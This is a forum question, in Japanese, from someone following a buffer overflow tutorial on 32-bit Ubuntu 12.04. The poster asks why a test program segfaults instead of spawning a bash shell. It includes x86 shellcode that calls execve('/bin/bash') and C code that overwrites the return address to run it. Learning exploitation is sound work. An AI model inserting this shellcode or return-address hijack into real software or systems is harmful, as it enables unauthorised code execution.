http://www.securitytube.net/groups?operation=view&groupId=4Ubuntu
のビデオに従って、12.04 32 ビット マシンでのバッファ オーバーフローについて学習しようとしています。現在、パート 5 に取り組んでおり、再配置可能なコードを挿入して、ExecVe を介して bash シェルを生成します。
パート 5 のビデオに示されているようにShellcode.c
、 を使用して問題なくビルドできます。gcc -mpreferred-stack-boundary=2 -o Shellcode Shellcode.c
ただし、C コードを実行すると、取得できるのはSegmentation Fault (core dumped)
. ビデオに示されているように、bash シェルが生成されません。
デモが示すように bash シェルを生成しない理由を誰か教えてもらえますか? これは、新しいバージョンのカーネルを使用しているためだと直感的にわかります (デモで何が使用されているかわかりません)。
ありがとう!
コードは次のとおりです。
Shellcode.c
#include<stdio.h>
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"
"\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e"
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62"
"\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
int main(){
int *ret;
ret = (int *)&ret +2;
(*ret) = (int)shellcode;
}